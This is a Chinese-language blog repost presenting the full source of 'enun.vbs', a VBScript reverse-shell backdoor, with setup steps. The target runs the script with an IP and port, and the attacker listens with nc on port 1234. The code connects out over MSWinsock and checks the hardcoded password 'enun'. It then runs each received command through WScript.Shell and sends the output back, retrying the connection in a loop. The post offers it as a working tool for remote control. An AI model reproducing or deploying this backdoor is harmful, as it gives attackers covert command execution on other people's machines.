VBScript 打造自己的远程CMDShell附使用教程

时间2024-02-11 15:28:03发布访客分类脚本浏览182

导读：收集整理的这篇文章主要介绍了VBScript 打造自己的远程CMDShell附使用教程，觉得挺不错的，现在分享给大家，也给大家做个参考。请先下载 mswinsck.ocx 与 vb6C...

收集整理的这篇文章主要介绍了VBScript 打造自己的远程CMDShell附使用教程，觉得挺不错的，现在分享给大家，也给大家做个参考。请先下载 mswinsck.ocx 与 vb6Controls.reg！

使用方法：

1，控制：nc.exe，执行：nc -l -v -p 1234；

2，目标：cscript.exe enun.vbs IP Port；

3，密码：enun。

几点说明：
1，退出 SHELL，请输入 “exIT”，不要用 “Ctrl + C”，这样的话只能等目标重启或手动运行后门才能连接；
2，Windows 7 等环境下普通标准用户也能使用，但是获取的权限相对有限。
3，内部命令及管道使用如下图：

相关下载：
1，视频演示
2，vb6controls

enun.vbs 源码：

复制代码代码如下:
'--------------------------------------------------------------------------
' Copyright (c) lxzzr. All rights reserved.
' ScriptName: enun.vbs
' Creation Date: 28/8/2012
' Last Modified: 28/8/2012
' Author: lxzzr, www.enun.net
' E-mail: lxzzr@21cn.COM
' usage: Cscript.exe //noLOGo enun.vbs IP Port
'--------------------------------------------------------------------------
On Error Resume Next
Public SocketObj, ExecObj, ShellObj
RemoteHost = Wscript.arguments(0)
RemotePort = Wscript.arguments(1)

Do
do while (SocketObj.state > 7)
  WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."

  Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
  SocketObj.PRotocol = 0
  SocketObj.RemoteHost = RemoteHost
  SocketObj.RemotePort = RemotePort
  SocketObj.Connect

  WScript.Sleep 3000
Loop

WScript.Echo "Connected to server."
SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
Do While (SocketObj.BytesReceived = 0)
WScript.Sleep 10
Loop

'密码验证
SocketObj.GetData Authkey, vbString
If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then

  Set ShellObj = CreateObject("WScript.Shell")
  srevData = " "
  SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)

  '循环等待执行命令
  Do
   Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

   SocketObj.SendData ExecObj.StdOut.ReadAll
   SocketObj.SendData ExecObj.StdErr.ReadAll

   If sRevData > "" Then
    SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
   End If

   If Left(sRevData, 4) = "exit" Then
    SocketObj.Close
    Exit Do
   End If

   SocketObj.GetData sRevData, vbString
   WScript.Sleep 1000
  Loop
Else
  LockoutBadCount = LockoutBadCount + 1
  SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
  WScript.Sleep 1000
End If

'账户策略
If (LockoutBadCount > 3) Then
  SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
  WScript.Sleep 1000
  SocketObj.Close
  LockoutBadCount = 0
  WScript.Sleep 600*1000
End If
Loop

声明：本文内容由网友自发贡献，本站不承担相应法律责任。对本内容有异议或投诉，请联系2913721942#qq.com核实处理，我们将尽快回复您，谢谢合作！

若转载请注明出处： VBScript 打造自己的远程CMDShell附使用教程
本文地址： https://pptw.com/jishu/609979.html

VBS实现将Excel表格保存为txt文本 VBS 获取外网IP的实现代码